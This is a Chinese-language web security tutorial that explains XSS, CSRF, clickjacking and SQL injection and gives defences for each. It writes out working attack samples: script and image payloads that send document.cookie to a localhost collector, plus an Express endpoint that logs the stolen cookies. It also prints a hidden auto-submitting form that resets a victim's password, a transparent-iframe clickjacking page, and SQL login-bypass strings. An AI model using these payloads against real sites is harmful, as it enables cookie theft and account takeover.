Xss攻擊
Xss(cross site scripting)跨站腳本攻擊,為了和css區分,是以縮寫是xss。
XSS是注入攻擊的一種,攻擊者通過将代碼注入被攻擊者的網站中,使用者一旦通路通路網頁便會執行被注入的惡意腳本。
XSS原理
xss攻擊個人認為主要出現在服務端渲染,因為如果是用戶端渲染,用戶端渲染的話一般都會對輸入的内容轉義,是以服務端渲染基本碰不到存在xss漏洞的網站,
如果是服務端渲染,那就不一樣了,因為如果我前端在輸入框裡輸入的不是普通字元串,而是輸入了一串js代碼,或者有些網站是會根據位址欄上的參數進行渲染,我url上面的參數值沒有寫普通字元串,而是直接寫js語句,如果後端沒做處理,就将前端的js代碼渲染在了html上面,最終通路網站,後端就會傳回如下的html頁面:
<div>
<h1>留言闆</h1>
<ul>
<li>
你好啊
</li>
<li>
<img src="不存在的位址1" onerror="window.location.href='http://www.github.com';" alt="">
</li>
<li>
<script>window.location.href = "http://localhost:3000/js_xss?" + document.cookie;</script>
</li>
<li>
<script>
var imgEl = new Image();
imgEl.src = "http://localhost:3000/img_xss?" + document.cookie;
imgEl.style.display = 'none';
document.body.appendChild(imgEl);
</script>
</li>
<li>
<script>
var scriptEl = document.createElement("script");
scriptEl.type = "text/javascript";
scriptEl.src = "http://localhost:3000/js_xss?" + document.cookie;
document.body.appendChild(scriptEl);
</script>
</li>
</ul>
</div>
複制
當浏覽器解析到這些可執行語句的時候,就會執行,後果可想而知。
類型
反射型(非持久型)
一般會通過URL注入攻擊腳本,隻有當使用者通路這個URL是才會執行攻擊腳本。
存儲型(持久型)
惡意代碼被儲存到目标網站的伺服器中,比如使用者留言的時候輸入了一串js代碼,然後發表留言的時候,這串js代碼會儲存到資料庫,等下次再通路該網站的時候,網站會擷取留言清單,如果你的那條惡意代碼的留言顯示在了頁面上,就會執行你的那串惡意代碼。這樣的危害非常大,隻要是通路該網站的都有可能受到影響。
防範
HTML轉義
防範XSS攻擊最主要的方法是對使用者輸入的内容進行HTML轉義,轉義後可以確定使用者輸入的内容在浏覽器中作為文本顯示,而不是作為代碼解析。
驗證使用者輸入
XSS攻擊可以在任何使用者可定制内容的地方進行,如下:
<a href=”{{url}}”>Website</a>
複制
其中{{url}}部分表示會被替換為使用者輸入的url變量值。如果不對URL進行驗證,那麼使用者就可以寫入javaScript代碼,比如javascript:alert('Bingo!');。因為這個值并不包含會被轉義的<和>。最終頁面上的連接配接代碼會變為:
<a href="javascript:alert('Bingo!');">Website</a>
複制
當使用者單擊這個連結時,浏覽器就會執行被href屬性中設定的攻擊代碼。
另外,程式還允許使用者設定頭像圖檔的URL。這個圖檔通過下面的方式顯示:
<img src="{{url}}">
複制
類似的,{{url}}部分表示會被替換為使用者輸入的url變量值。如果不對輸入的URL進行驗證,那麼使用者可以将url設為"xxx" onerror="alert('Bingo!')",最終的img标簽就會變為:
<img src="xxx" onerror="alert('Bingo!')">
複制
在這裡因為src中傳入了一個錯誤的URL,浏覽器變回執行onerror屬性中設定的javaScript代碼。
可以使用功能單引号或者雙引号,将使用者的輸入轉成字元串,再渲染到html上。
設定cookie的HTTPOnly屬性
JavaScript
Document.cookie
API 無法通路帶有
HttpOnly
屬性的cookie;此類 Cookie 僅作用于伺服器。例如,持久化伺服器端會話的 Cookie 不需要對 JavaScript 可用,而應具有
HttpOnly
屬性。此預防措施有助于緩解跨站點腳本(XSS)攻擊。
Csrf攻擊
CSRF(Cross-site request forgery)跨站請求僞造
簡單來講就是攻擊者(黑客,釣魚網站)盜用了你的身份,以你的名義發送惡意請求,這些請求包括發送郵件、發送消息、盜取賬号、購買商品、銀行轉賬
Csrf原理
個人認為,Csrf攻擊的原理就是利用了發起請求時,浏覽器會自動帶上一些存在用戶端的值,比如cookie。衆所周知,http協定是無狀态的,在那個古老的年代,很多網站都将使用者登入成功時候傳回的登入狀态(如token)存進cookie裡,然後用戶端發起請求時,啥都不用幹,照常發請求,因為發請求時,浏覽器會自動帶上cookie,後端在接收到請求時,就會判斷cookie是否合法或者過期等等,如果判斷無誤,就會傳回使用者操作結果。從上面的流程可以看出,所有的操作都是根據cookie的,即後端收到請求,誰都不認,就認cookie,cookie對就傳回結果,是以,就衍生出了Csrf攻擊,最最低級的Csrf攻擊就是所謂的釣魚網站,什麼是釣魚網站?首先要完成Csrf攻擊,首先要滿足以下條件:
- 該網站存在Csrf漏洞(重要條件)
- 浏覽器沒有做安全限制(重要條件)
- 該使用者防範意識不足(次要條件)
當滿足了上面的一二點後,那麼其實使用者被釣魚的記錄就大大提高了,因為大部分人都不會想到,點一下連結,自己的資料就被篡改了。
用通俗案例模拟整體流程:
某公司開發了一個網站,該網站有新人活動,新人注冊登入即可直接返十塊錢紅包(即白嫖),但該網站存在Csrf漏洞。
該網站的前端:最終部署在:https://www.zhengbeining.com/csrf/下
<template>
<div>
<h1 style="color: red">Csrf測試網站</h1>
<h1>目前使用者資訊:{{ info }}</h1>
<div style="width: 500px" v-if="!loginOk">
<el-form ref="form" :model="info" label-width="80px">
<el-form-item label="賬号">
<el-input v-model="info.username"></el-input>
</el-form-item>
<el-form-item label="密碼">
<el-input type="password" v-model="info.password"></el-input>
</el-form-item>
<el-form-item label="">
<el-button type="success" @click="login">登入</el-button>
<el-button type="primary" @click="register">注冊</el-button>
</el-form-item>
</el-form>
</div>
<div v-else>
<h2>登入成功</h2>
<div style="width: 500px">
新密碼:<el-input type="password" v-model="newpassword"></el-input>
<el-button type="danger" @click="edit">修改</el-button>
</div>
</div>
</div>
</template>
<script>
import Cookies from "js-cookie";
import axios from "axios";
export default {
components: {},
data() {
return {
info: {
username: "",
password: "",
},
newpassword: "",
loginOk: false,
};
},
mounted() {
this.loginOk = Cookies.get("token");
if (this.loginOk) {
console.log("cookie有token,擷取使用者資訊");
this.getUserInfo();
} else {
console.log("cookie沒有token");
}
},
methods: {
getUserInfo() {
axios
// .get("/api/getUserInfo", {
.get("https://www.zhengbeining.com/csrf/getUserInfo", {
params: { token: Cookies.get("token") },
})
.then((res) => {
console.log(res);
if (res.data.code == 200) {
delete res.data.info.token;
this.info = Object.assign({}, this.info, res.data.info);
this.loginOk = true;
this.$message.success(res.data.msg);
} else {
this.loginOk = false;
Cookies.remove("token");
this.$message.error(res.data.msg);
}
})
.catch((err) => {
console.log(err);
});
},
login() {
axios
// .post("/api/login", {
.post("https://www.zhengbeining.com/csrf/login", {
...this.info,
})
.then((res) => {
if (res.data.code == 200) {
this.$message.success(res.data.msg);
Cookies.set("token", res.data.info.token);
delete res.data.info.token;
this.info = Object.assign({}, this.info, res.data.info);
this.loginOk = true;
} else {
this.$message.error(res.data.msg);
}
})
.catch((err) => {
console.log(err);
});
},
register() {
axios
// .post("/api/register", {
.post("https://www.zhengbeining.com/csrf/register", {
...this.info,
})
.then((res) => {
if (res.data.code == 200) {
this.$message.success(res.data.msg);
// this.info = Object.assign({}, this.info, res.data.info);
// Cookies.set("token", res.data.token);
// this.loginOk = true;
} else {
this.$message.error(res.data.msg);
}
})
.catch((err) => {
console.log(err);
});
},
edit() {
if (this.newpassword.length < 6) {
this.$message.error("密碼需要大于6位數");
return;
}
axios
// .post("/api/edit", {
.post("https://www.zhengbeining.com/csrf/edit", {
password: this.newpassword,
})
.then((res) => {
if (res.data.code == 200) {
Cookies.remove("token");
// this.$data = this.$options.data();
Object.assign(this.$data, this.$options.data());
this.$message.success(res.data.msg);
} else {
this.$message.error(res.data.msg);
}
})
.catch((err) => {
console.log(err);
});
},
},
};
</script>
<style>
</style>
複制
該網站的後端:最終還是部署在https://www.zhengbeining.com/csrf/下。
let express = require('express')
const { v4: uuidv4 } = require('uuid');
const connection = require('./app/database');
// 解析post請求的body資料
let app = express()
app.use(express.json())
app.use(express.urlencoded({ extended: false }))
app.all("*", function (req, res, next) {
//設定允許跨域的域名,*代表允許任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
//允許的header類型
res.header("Access-Control-Allow-Headers", "Content-Type,authorization,request-origin");
//跨域允許的請求方式
res.header("Access-Control-Allow-Methods", "DELETE,PUT,POST,GET,OPTIONS");
if (req.method.toLowerCase() == 'options')
res.send(200); //讓options嘗試請求快速結束
else
next();
})
// 靜态檔案目錄
app.use(express.static('public'))
var router = express.Router()
// Xss攻擊,擷取cookie
app.use('/', router.get('/img_xss', async (req, res, next) => {
console.log('img_xss攻擊成功,拿到cookie:', req.query)
res.end('img_xss-ok')
}))
// Xss攻擊,擷取cookie
app.use('/', router.get('/js_xss', async (req, res, next) => {
console.log('js_xss攻擊成功,拿到cookie:', req.query)
res.end('js_xss-ok')
}))
// 擷取使用者資訊
app.use('/', router.get('/getUserInfo', async (req, res, next) => {
console.log('login')
let statement = `SELECT * FROM user WHERE token = ?`;
let [result] = await connection.execute(statement, [req.query.token]);
if (result[0]) {
res.json({ code: 200, msg: '擷取使用者資訊成功', info: result[0] })
} else {
res.json({ code: 400, msg: 'token錯誤,擷取使用者資訊失敗' })
}
}))
// 注冊
app.use(router.post('/register', async (req, res, next) => {
console.log('register')
const { username, password } = req.body;
let statement = `SELECT * FROM user WHERE username = ?;`;
let [result] = await connection.execute(statement, [username]);
if (!result[0]) {
let statement = `INSERT INTO user (username, password , token, createdTime) VALUES (?, ?, ?);`;
await connection.execute(statement, [username, password, null, new Date() + '']);
res.json({ code: 200, msg: '注冊成功' })
} else {
res.json({ code: 400, msg: '使用者名:' + username + ',已經被注冊了' })
}
}))
// 登入
app.use('/', router.post('/login', async (req, res, next) => {
console.log('login')
let { username, password } = req.body
let statement = `SELECT * FROM user WHERE username = ? and password = ?`;
let [result] = await connection.execute(statement, [username, password]);
if (!result[0]) {
res.json({ code: 400, msg: '使用者名密碼錯誤' })
} else {
let statement = `UPDATE user SET token = ? WHERE id = ?;`;
await connection.execute(statement, [uuidv4(), result[0].id]);
let info = await connection.execute(`SELECT * FROM user WHERE id = ${result[0].id}`);
res.json({ code: 200, msg: '登入成功', info: info[0][0] })
}
}))
// 修改密碼
app.use('/', router.post('/edit', async (req, res, next) => {
console.log('edit')
var Cookies = {};
if (req.headers.cookie != null) {
req.headers.cookie.split(';').forEach(l => {
var parts = l.split('=');
Cookies[parts[0].trim()] = (parts[1] || '').trim();
});
}
let info = await connection.execute(`SELECT * FROM user WHERE token = ?`, [Cookies.token]);
// console.log(info[0][0].id)
let statement = `UPDATE user SET password = ? WHERE token = ?;`;
let [result] = await connection.execute(statement, [req.body.password, Cookies.token]);
console.log(result)
if (result.affectedRows == 0) {
res.json({ code: 400, msg: 'token錯誤,修改密碼失敗' })
} else {
let statement = `UPDATE user SET token = ? , updatedTime = ? WHERE id = ?;`;
await connection.execute(statement, [uuidv4(), new Date() + '', info[0][0].id]);
res.json({ code: 200, msg: '修改密碼成功' })
}
}))
app.listen('7000', function () {
console.log('http://localhost:7000', 'running....')
})
複制
某騙子知道該網站漏洞後,在網上大肆宣傳該網站新人返利活動,然後讓使用者添加自己的微信以擷取更多白嫖福利。
使用者a添加了騙子,騙子讓他注冊登入後,截登入成功的圖發給騙子,然後騙子再告訴使用者下一步怎麼做。
使用者a注冊登入了(即發起過https://www.zhengbeining.com/csrf/login請求了,然後将token設定在https://www.zhengbeining.com這個域名下的cookie裡),截圖發給了騙子,這樣騙子就确定了改使用者登入了,登入資訊肯定儲存在cookie了,然後騙子因為在這個網站裡面修改過密碼,知道這個網站修改使用者密碼是發起一個post請求,帶上password這個參數就可以了,後端服務端會判斷cookie,并且隻認cookie,cookie合法就使用傳過來的password改掉資料庫的密碼,如果cookie不合法,就傳回錯誤。
這時候騙子開始操作了,發了一個連結給使用者a,讓使用者a點選這個連結看看活動規則,但是這個是釣魚連結,具體代碼如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form class="csrf" action="http://localhost:3000/edit" method="post" target="iframe" style="display: none;">
<input type="text" name="password" value="999" />
</form>
<iframe name="iframe" style="display: none;"></iframe>
<script>
var el = document.getElementsByClassName("csrf")[0]
el.submit()
</script>
</body>
</html>
複制
這個連結打開其實是一片空白,它卻會發起了一個表單請求,發起了一個post請求:http://localhost:3000/edit,并且将password的值設為了999,然後submit送出,而且送出是彈出一個iframe嵌套視窗,但是這個視窗設定了隐藏樣式,就感覺啥都看不出來,就是一片空白。
使用者a點選連結後,雖然一片空白,但是卻背地裡發起了一個post請求,而且由于使用者登入成功了,token儲存在cookie裡了,現在再次發起的請求https://www.zhengbeining.com/edit還是https://www.zhengbeining.com的,于是,隻要是同一個浏覽器,使用者之前在這裡登入過了,留下了cookie,且這個cookie還沒過期(一般cookie不會這麼快過期,而且使用者也是剛登入完不久就點選了騙子連結),再次發起https://www.zhengbeining.com/edit的時候,不管目前的騙子連結是怎樣的,浏覽器都會發起http://localhost:3000/edit請求,并且,浏覽器會找自己有沒有存在https://www.zhengbeining.com這個域名下的資料,比如:cookie,如果有的話就會帶上,而恰巧,之前https://www.zhengbeining.com/login登陸成功的時候就儲存了token在cookie裡,是以,浏覽器會帶上這個cookie(即token)傳給後端。
防範
Cookie Hashing
應該是最簡單的解決方案了,因為雖然發起http請求會帶上浏覽器同域下的cookie,但是,是發起請求才會自動帶上同域的cookie,怎麼了解,簡單舉個例子,比如我浏覽器打開了aaa.com和bbb.com兩個網頁,我在aaa.com發起了一個bbb.com/login的請求,因為浏覽器的原因,會自動帶上bbb裡面的cookie,但是,并不意味這我在aaa.com可以拿到bbb.com的cookie,隻是在aaa.com發起bbb的請求的時候,會帶上bbb.com下的cookie而已,是以,為了預防csrf攻擊,可以在發起請求的時候,帶上一個根據cookie構造出來的hash值:
這是bbb網站的表單代碼
<form method=”POST” action=”bbb.com/login”>
<input type=”text” name=”toBankId”>
<input type=”text” name=”money”>
<input type=”hidden” name=”hash” value=”{{hashcookie}}”>
<input type=”submit” name=”submit” value=”Submit”>
</form>
複制
這樣的話,在bbb發起請求,bbb可以通路自己域名下面的cookie,是以發起請求後,後端可以接收到表單裡面的hash值,但是,如果是别人aaa.com裡面發起的bbb/login請求的話,雖然aaa.com可以構造表達裡面的其他參數,但是無法拿到bbb的cookie,是以就不可能根據cookie構造出hash值!後端就可以根據這一點,再通過hash值解密,判斷前端傳過來的hash是否合法。
後端驗證HTTP的Referer 和Origin字段
- referer屬性
記錄了該http請求的來源位址,但有些場景不适合将來源URL暴露給伺服器,是以可以設定不用上傳,并且referer屬性是可以修改的,是以在伺服器端校驗referer屬性并沒有那麼可靠
- origin屬性
通過XMLHttpRequest、Fetch發起的跨站請求或者Post方法發送請求時,都會帶上origin,是以伺服器可以優先判斷Origin屬性,再根據實際情況判斷是否使用referer判斷。
後端使用cookie的SameSite屬性
後端響應請求時,set-cookie添加SameSite屬性。
SameSite選項通常由Strict、Lax和None三個值
- Strict最為嚴格,如果cookie設定了Strict,那麼浏覽器會完全禁止第三方Cookie。
- Lax相對寬松一點,在跨站點的情況下,從第三方站點的連結打開和從第三方站點送出Get的表單都會攜帶cookie.但是如果在第三方站點中使用Post方法或者通過img、iframe等标簽加載的URL,都不會攜帶Cookie。
- None, 任何情況下都會發送Cookie。
csrfToken
- 在浏覽器向伺服器發起請求時,伺服器生成一個CSRF Token(字元串)發送給浏覽器,然後将該字元串放入頁面中
- 浏覽器請求時(如表單送出)需要帶上這個CSRF Token。伺服器收到請求後,驗證CSRF是否合法,如果不合法拒絕即可。
使用token 并驗證
既然浏覽器會自動帶上同域的cookie,那麼将登入資訊就不存cookie裡面,存localstorage裡,發起網絡請求的時候,不會預設帶上同域的localstorage,然後将登入資訊存在localstorage裡面,在請求的時候,手動帶上這個localstorage,後端再進行判斷就可以了。
點選劫持
原理
将要攻擊的網站通過 iframe 嵌套的方式嵌入自己的網頁中,并将 iframe 設定為透明,在頁面中透出一個按鈕誘導使用者點選。點選按鈕實際點選的是iframe裡面的東西。
舉個例子:比如我在b站發了一個視訊,我希望别人都給我一鍵三連,但是很明顯很多人都是喜歡白嫖,不會點選一鍵三連,我就使用iframe,将b站嵌入我的一個網站裡面,然後把iframe設定透明,用定位把一個按鈕定位到一鍵三連的位置那裡,并且把網站設定的吸引人一點,比如點選抽獎或者點選擷取最新資訊等等,這樣别人點選了按鈕,實際上點選的是iframe的一鍵三連按鈕,這樣就達到了我的目的。
ps:但實際上點選一鍵三連都需要登入,如果iframe擷取不到你之前在b站的登入狀态,也是白搭。而且在現在的2021年,對iframe的限制也越來越多,比如從谷歌浏覽器的Chrome 80版本後面開始,浏覽器的Cookie新增加了一個SameSite屬性,用來防止CSRF攻擊和使用者追蹤。該功能預設已開啟(SameSite:Lax)。即iframe拿不到外面的cookie了。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
.wrap {
position: relative;
}
.iframe {
position: absolute;
width: 600px;
height: 600px;
/* opacity: 0.5; */
opacity: 0;
}
.img {
position: absolute;
width: 600px;
height: 600px;
background-color: pink;
}
.btn {
position: absolute;
bottom: 96px;
left: 6px;
display: inline-block;
padding: 10px 20px;
background-color: yellow;
border-radius: 4px;
}
</style>
</head>
<body>
<div class="wrap">
<div class="img">
<span class="btn">click</span>
</div>
<iframe class="iframe" src="https://www.zhengbeining.com/csrf/" frameborder="0"></iframe>
</div>
</body>
</html>
複制
防範
設定http頭部X-Frame-Options字段
-
DENY // 拒絕任何域加載
-
SAMEORIGIN // 允許同源域下加載
-
ALLOW-FROM // 可以定義允許frame加載的頁面位址
可以設定值為deny,設定後,就會拒絕任何域的加載,如果别人iframe嵌入了,浏覽器控制台就會報錯:
Refused to display 'https://www.zhengbeining.com/' in a frame because it set 'X-Frame-Options' to 'deny'.
sql注入
原理
其實就是利用惡意的sql查詢或添加語句插入到應用的輸入參數中,具體看案例:
如果後端是這樣拼接sql的話:
let username = 'admin'
let password = 999
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '999'
複制
上面的sql就是要找user裡面,使用者名是admin,密碼是999的所有資料。
但是如果使用者這樣輸入使用者名密碼:
let username = 'admin'
let password = "1 'or '1'='1"
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '1 'or '1'='1'
複制
上面的sql是查找user裡面,使用者名是admin,密碼是1,或者1=1的所有資料,不管有沒有找到使用者名是admin,密碼是1的資料,但是後面的1=1是一定成立的,而且前面的條件和後面的條件中間用的是or,是以,隻要滿足:(使用者名是admin,密碼是1)或者(1=1)的其中一個或者都滿足,就會查詢user裡面的資料,這裡是一定可以查詢到資料的!
或者使用者這樣輸入使用者名密碼:
let username = "admin' -- "
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql) //select * from user where username = 'admin' -- ' and password = '234'
複制
let username = "admin' #"
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql) //select * from user where username = 'admin' #' and password = '234'
複制
上面兩個sql語句都是利用了sql裡面的注釋達到sql注入的。
防範
後端對前端送出内容進行規則限制
比如:正規表達式
不要使用字元串拼接
使用一些工具拼接,比如node後端可以使用mysql2裡面的query或execute
const conn = await mysql.createConnection({
host: 'xxxxxxxxxxxxxx.mysql.rds.aliyuncs.com',
user: '<資料庫使用者名>',
password: '<資料庫密碼>',
database: '<資料庫名稱>',
charset: 'utf8mb4'
})
const [rows, fields] = await conn.query(
'SELECT * FROM `user` where id in (?)',
[userIds])
const [rows] = await conn.execute(
'SELECT * FROM `user` where id = ?',
[userId])
複制
有待更新
參考
https://blog.csdn.net/weixin_30867015/article/details/99033645?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-1&spm=1001.2101.3001.4242
http://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
https://blog.csdn.net/onlyliii/article/details/108276843